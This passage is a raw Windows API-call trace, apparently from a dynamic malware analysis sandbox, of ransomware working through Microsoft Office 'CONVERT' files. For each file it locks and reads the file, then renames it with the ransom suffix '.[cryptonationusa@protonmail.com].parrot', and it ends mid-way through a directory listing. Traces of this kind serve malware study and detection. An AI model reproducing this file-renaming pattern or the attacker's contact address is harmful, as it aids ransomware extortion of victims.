lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.530] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16290, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.530] CloseHandle (hObject=0x27c) returned 1 [0183.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.537] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7aa8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.537] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.538] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.538] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7990, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7990, lpOverlapped=0x0) returned 1 [0183.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.541] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7aa8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.541] CloseHandle (hObject=0x27c) returned 1 [0183.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.552] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ab8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.552] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.554] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x79a0, lpOverlapped=0x0) returned 1 [0183.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.556] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ab8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.556] CloseHandle (hObject=0x27c) returned 1 [0183.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.560] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c98, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.560] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.562] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b80, lpOverlapped=0x0) returned 1 [0183.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.563] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.563] CloseHandle (hObject=0x27c) returned 1 [0183.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.568] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfa90, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.568] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.570] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf978, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf978, lpOverlapped=0x0) returned 1 [0183.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.573] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfa90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.573] CloseHandle (hObject=0x27c) returned 1 [0183.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.577] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7298, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.577] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.579] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.579] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7180, lpOverlapped=0x0) returned 1 [0183.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.581] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7298, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.581] CloseHandle (hObject=0x27c) returned 1 [0183.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.587] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x208b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.587] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.587] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.588] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x207a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x207a0, lpOverlapped=0x0) returned 1 [0183.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.594] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x208b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.594] CloseHandle (hObject=0x27c) returned 1 [0183.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.599] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dec0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.599] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.599] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.601] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dda8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1dda8, lpOverlapped=0x0) returned 1 [0183.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.613] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dec0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.613] CloseHandle (hObject=0x27c) returned 1 [0183.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.670] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x118b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.670] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.670] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.672] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.672] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x117a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x117a0, lpOverlapped=0x0) returned 1 [0183.678] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.680] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x118b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.680] CloseHandle (hObject=0x280) returned 1 [0183.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.686] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf8b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.687] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.687] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.689] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.690] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf798, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf798, lpOverlapped=0x0) returned 1 [0183.694] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.696] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf8b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.697] CloseHandle (hObject=0x280) returned 1 [0183.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.705] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xccb0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.705] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.705] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.707] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.707] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb98, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcb98, lpOverlapped=0x0) returned 1 [0183.710] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.711] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xccb0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.711] CloseHandle (hObject=0x280) returned 1 [0183.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.721] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c4b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.721] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.721] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.722] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.723] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c398, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c398, lpOverlapped=0x0) returned 1 [0183.726] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.729] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c4b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.729] CloseHandle (hObject=0x280) returned 1 [0183.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.737] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc6a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.737] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.737] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.738] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.738] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc588, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc588, lpOverlapped=0x0) returned 1 [0183.743] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.744] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.744] CloseHandle (hObject=0x280) returned 1 [0183.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.760] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfa90, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.760] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.761] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.762] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.762] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf978, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf978, lpOverlapped=0x0) returned 1 [0183.764] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.766] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfa90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.766] CloseHandle (hObject=0x280) returned 1 [0183.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.773] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.774] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf9905a20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf9905a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.774] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf967e2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf967e2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0183.774] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf96ca580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x16298, dwReserved0=0x0, dwReserved1=0x0, 